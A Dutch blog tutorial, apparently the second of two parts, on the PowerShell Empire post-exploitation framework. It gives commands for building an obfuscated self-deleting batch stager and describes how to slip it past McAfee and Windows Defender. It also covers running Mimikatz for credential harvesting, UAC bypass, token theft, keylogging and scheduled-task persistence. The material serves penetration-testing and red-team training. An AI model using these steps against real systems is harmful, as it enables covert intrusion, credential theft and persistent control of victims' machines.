Powershell Empire 2/2
Welkom terug bij het 2e deel van “Powershell Empire”. In deze post gaan we verder waar we gebleven waren in de vorige post. De listener is actief en dus gaan we in deze post eens wat dieper inzoomen op Powershell Empire Stagers, Agents en Modules. Laten we beginnen met het configureren van een stager.
Start een Powershell Empire Stager
Nu de listener actief is kunnen we de stager (payload) configureren. De stager zorgt ervoor dat er verbinding gezocht wordt vanuit de cliënt met de listener op het CCC (Command and Control Center)
Om de stager te genereren moeten we eerst weten welke stagers er allemaal zijn. Alle stagers kunnen we oproepen door een spatie + TAB achter het “usestager” commando te typen:
usestager [TAB] |

Zoals je ziet zijn stagers eerst geselecteerd op OS (OSX, Windows of beide = Multi). Vervolgens staat het type stager vermeld. Laucher.bat genereerd een malicious BAT bestand welke zichzelf verwijderd. Een paar andere handige Windows stagers zijn:
- windows/ducky = Genereert een Ducky script voor de USB Rubber Ducky
- windows/dll = Genereert een PowerPick Reflective DLL
- windows/macro = Genereert een office 2003/2007 macro
- windows/shellcode = Genereert een Windows shellcode stager
- windows/teensy = Genereert een 1-line stage0 launcher Teensy script
Voor dit voorbeeld kiezen we de “launcher_bat” stager:
usestager windows/launcher_bat |
Het info commando retourneert nu een heel scala aan opties welke we in kunnen stellen. De meeste zijn al default ingesteld.

Laten we de meest toepasselijke opties instellen:
set Listener meterpreter-listener-1 set Obfuscate true set Delete true |
We stellen de listener in op de zojuist aangemaakt listener maar we zorgen er ook voor dat het bestand zichzelf verwijderd nadat deze is gestart. Ook stellen we obfuscation in. Hiervoor moeten we echter wel Powershell installeren. Dit doen we uiteraard als volgt:
apt-get install powershell |
Nu Powershell geïnstalleerd is gaan we de stager maken. Dit doen we weer met het “execute” commando.

We vinden het gegenereerde launcher.bat bestand onder “/tmp”.
Om deze uit te voeren op de cliënt voeren kopiëren we het bestand en dubbelklikken we deze.
Damn…We komen nu tot de conclusie dat het niet werkt. Misschien wilde we teveel in 1 keer proberen. Het is altijd goed om scenario’s te testen.
Er zijn een aantal zaken die niet blijken te kloppen. De “windows/launcher.bat” werkt niet goed samen met een meterpreter listener. Het blijkt dat we hier beter een “http” listener voor kunnen gebruiken waardoor de stager als “Web Delivery” geconfigureerd wordt. Als we dit doen werkt het prima wanneer we “Obfuscate” optie niet gebruiken. Het uitschakelen van een ingestelde optie doe je met “unset”. Dus:
unset Obfuscate |
Als de uiteindelijke stager met HTML listener niet obfuscated is dan werkt hij prima maar wordt hij ook meteen door de virusscanner als malicious aangemerkt.
Om de obfuscated stager te laten werken moeten we 2 dingen doen:
1. Schakel de “Delete” optie uit zodat de uiteindelijk launcher niet meer automatisch verwijderd wordt:
unset Delete |
2. Open de uiteindelijke launcher en vervang alle procent tekens “%” voor 2 procent tekens “%%”. Dit moeten we doen omdat het obfuscation script de procent tekens niet netjes escaped. Dit moeten we handmatig doen.
Nu we een obfuscated stager hebben kunnen we hem prima draaien op een Windows machine zonder dat de virusscanner hem detecteert (in mijn test scenario McAfee en Windows Defender).
De Powershell Empire Agents
Zodra het BAT bestand gedraaid is wordt er een sessie tot stand gebracht. De “agent” is nu actief en houd de verbinding online. Om alle agents te zien gebruiken we het commando:
list agents |

In de screenshot hierboven zie je 3 inactieve agents (rood) en 1 actieve agent (groen). Je ziet ook dat elke agent voorzien is van een naam (Name) alsmende wat extra info. Om een actieve agents te sluiten ga je eerst naar het agents menu (met het “agents” commando) en voer je het “kill” commando uit gevolgd door de agent naam:
kill SXRC5AWN |

In bovenstaande screenshot sluiten we een inactieve agent. De verbinding wordt nu verbroken (maar dat was hij al). Om de agent ook echt uit de lijst te verwijderen moeten we het “remove” commando gebruiken. Het “remove” commando verwijderd de agent uit de database en dus uit de lijst.
remove 37TYRKDW |

Om alle agents uit de database te verwijderen gebruik je:
remove all |
In het agents menu kunnen we nog een aantal andere interessante zaken regelen. Gebruik help om te kijken welke opties je hier hebt.
Je kunt een specifieke agent hernoemen met het “Rename” commando. Laten we onze actieve agent hernoemen naar een makkelijkere naam (namen zijn altijd te completeren met de TAB toets):
rename SXRC5AWN Jarno |
Als een agent toegewezen taken heeft kunnen we deze verwijderen met het “clear” commando en alle achterhaalde credentials kunnen we opvragen met het “creds” commando. Om automatisch de verbinding te laten verbreken kunnen we een datum installen. Bijvoorbeeld:
killdate Jarno 01/01/2019 |
Ook kunnen we “werkuren” instellen waarop een agent actief en bereikbaar is. Bijvoorbeeld:
workinghours Jarno 20:00-23:00 |
Het gebruiken van een module welke je extra functionaliteiten geeft doe je met het “usemodule” commando. Maar later meer hierover.
Tenslotte kunnen we ook communiceren met de agent via het “interact” commando. Als je dit doet krijg je meer opties welke direct betrekking hebben op de agent.
interact Jarno |

De mogelijkheden die we hier hebben zijn legio. Laten we er eens een paar uitlichten:
- bypassuac %listener%– Dit commando zorgt ervoor dat we UAC (User Account Control) kunnen omzeilen zodat we b.v. Mimikatsz uit kunnen voeren.
- download – Download een bestand van de target.
- info – Retourneert diverse informatie over de target zoals OS, IP, Hostname, Working Hours, Killdate etc. Meer systeem specifieke informatie kun je achterhalen met het “sysinfo” commando.
- injectshellcode – Injecteer shellcode in een target proces.
- jobs – Retourneert alle actieve jobs en geeft de optie om deze jobs te verwijderen.
- mimikatz – Draait het “Invoke-Mimikatz” script op de target.
- psinject – Injecteert een launcher in een target proces.
- resource – Voer Powershell Empire commando’s uit vanuit een voor gedefinieerde resource file.
- sc – Maak een screenshot
- scriptimport – Importeer een Powershell script welke actief blijft in het geheugen.
- scriptcmd – Voer een functie uit vanuit het reeds geïmporteerde Powershell script.
- shell – Voer een shell commando uit op de target
- steal_token – Steel een token om je voor te doen als een andere gebruiker
- sysinfo –
- upload – Upload een bestand naar de target
Om bijvoorbeeld de IP gegevens op te vragen kun je het “shell” commando gebruiken waardoor de agent het opgegeven shellcommando draait op de target en de ip gegevens retourneert:
shell ipconfig |
En om een bestand (in dit voorbeeld de launcher) te uploaden kun je bijvoorbeeld het volgende commando gebruiken:
upload /tmp/launcher.bat |
De launcher.bat wordt dan geupload naar c:\Windows\System32 op de target.
Om wachtwoorden te achterhalen kunnen we Mimikatsz draaien met het “mimicatz” commando. Gevonden wachtwoorden en hashes worden vervolgens opgeslagen in de Powershell Empire database welke weer met het “creds” commando op te roepen zijn.

Het uitvoeren van Mimikatz had overigens niet gelukt als we geen Admin zouden zijn. Het info commando retourneert een “high_integrity” waarde. Default is deze 0 wat betekend dat we geen admin zijn. Om deze waarde om te zetten naar 1 (admin) kunnen we het “bypassuac” commando gebruiken.
bypassuac http |
Het “bypassuac” commando voeren we uit op de listener. De listener zal vervolgens voor alle actieve agents proberen het “bypassuac” commando uit te voeren. Als deze actie succesvol is dan ben je SYSTEM op het systeem en zal de “high_integrity” waarde veranderd zijn naar 1.
Maar wil je nog meer opties dan de standaard agent je biedt…dan gebruik je modules.
Gebruik een Powershell Empire Module
Zoals je ondertussen wel weet geven Powershell modules je erxtra functionaliteiten. Je kunt vanuit het algemene “agents” menu of vanuit een actieve agent alle modules bekijken met het commando “usemodule” + spatie + TAB.

Achter sommige modules zie je sterretjes (*) staan. Dit betekend simpelweg dat we SYSTEM toegang nodig hebben om de module uit te kunnen voeren. Aangezien we dit al zijn gaan we ervoor zorgen dat de huidige agent persistence gemaakt wordt. Dit wil zetten dat de sessie weer automatisch opgezet wordt nadat de target zijn computer herstart heeft en weer inlogt. We gebruiken hiervoor de “persistence/elevated/schtasks” waarmee we simpelweg een ingestelde taak kunnen maken in de Windows Taakplanner om de verbinding na reboot weer op te bouwen. We gaan dus eerst de module laden:
usemodule persistence/elevated/schtasks |

Zoals je in bovenstaande screenshot ziet geeft ook het “help” commando hier weer relevante informatie.
Het “info” commando geeft informatie over de module en de in-te-stellen opties.

De meeste waardes zijn default prima in orde. De enige opties die we in gaan stellen zijn:
set OnLogon True set Listener http |
Als we de module willen uitvoeren krijgen we de volgende melding:

Dit betekend dat de kans aanwezig is dat de virusscanner de uitvoering van de taak kan zien als malicious. Hier kiezen we voor “y” om de module uit te voeren. Na het uitvoeren is de taak aangemaakt:

Maar helaas, het uitvoeren van de taak laat de virusscanner alarmbellen rinkelen. Om de payload onzichtbaar te maken kunnen we beter de eerder aangemaakt obfuscated stager naar de cliënt uploaden en deze vervolgens laten uitvoeren door de taak. Dit werkt dan als volgt:
We passen de module als volgt aan:
set ExtFile /tmp/launcher.bat |
Deze instelling zorgt ervoor dat we de obfuscated stager aanroepen bij het inloggen van de gebruiker. De scheduled task roept nu het juiste bestand aan.
Alle output die je op het scherm ziet wordt ook opgeslagen in een logbestand. Dit logbestand is te vinden in de “Empire” root directory en vervolgens in /downloads/%agentname%/agent.log.
Maar niet alle output verschijnt op het scherm. De keylogger zal de keystrokes opslaan in het “keystrokes.txt” bestand (in dezelfde directory als het agent.log bestand. Als er geen output op het scherm verschijnt zoek deze dan in de %agentname% logfolder of lees de informatie van de module goed door om te achterhalen waar de output te vinden is.
Powershell Empire GUI
Voor het geval je jezelf afvraagt, zijn er geen GUI’s voor Powershell Empire? Jazeker wel. Er zijn 2 veelgebruikte GUI’s. Je hebt “Empire Web” en “EmpireGui”. EmpireGui is een Java-based GUI maar de plannen bestaan om deze om te bouwen naar ASP. EmpireGui krijgt dan ook een nieuwe naam, EmpireASP. Er is overigens nog een beta GUI die “Empire GUI” heet. Dit is een compleet ander project dan “EmpireGui van Tristan Dostaler.
Empire Web ondersteund als je dit leest wel Powershell Empire 2.0 maar op het moment van schrijven nog niet. Persoonlijk denk ik dat Empire Web de beste GUI is maar dit is niet objectief. De andere 2 GUI’s ken ik niet en het gebeurt niet vaak dat ik met GUI’s werk.
Conclusie
Het moge duidelijk zijn dat Powershell Empire een zeer krachtig framework is welke pentesters, red-teams, systeembeheerders en uiteraard hackers legio opties en mogelijkheden verschaft om Windows machines over te nemen, te modificeren en te controleren. Er zijn momenten dat ik makkelijker terugpak op Powershell Empire dan op Metasploit. Soms biedt Powershell Empire net wat meer gemak, stabiliteit of opties. Belangrijk is om te testen! Sommige combinaties die Powershell Empire je laat maken kunnen in de praktijk niet uitgevoerd worden. Dit is wat mij betreft het enige punt waar Powershell Empire nog in tekort komt, de waarschuwingen en foutmeldingen. Maar als je gewoon een lab hebt om Powershell Empire te testen dan is ook dat probleem gemakkelijk te mitigeren en blijft er een mooi en krachtig framework overeind staan.
Hopelijk vond je deze post leuk en informatief en misschien heb je zelfs nog iets geleerd? Ik doe altijd mijn best om zo compleet en duidelijk mogelijk te zijn. Als ik iets essentieels vergeten ben of als er iets fout is, laat het me dan gerust even weten en dan pas ik het aan of voeg ik het toe. Maar… als je er iets aan gehad hebt, wil je dan s.v.p. deze post liken en/of delen? Ik steek veel werk in het uitwerken van mijn posts en dat blijf ik uiteraard met veel plezier doen als ik zie dat jullie het waarderen!
THANKS!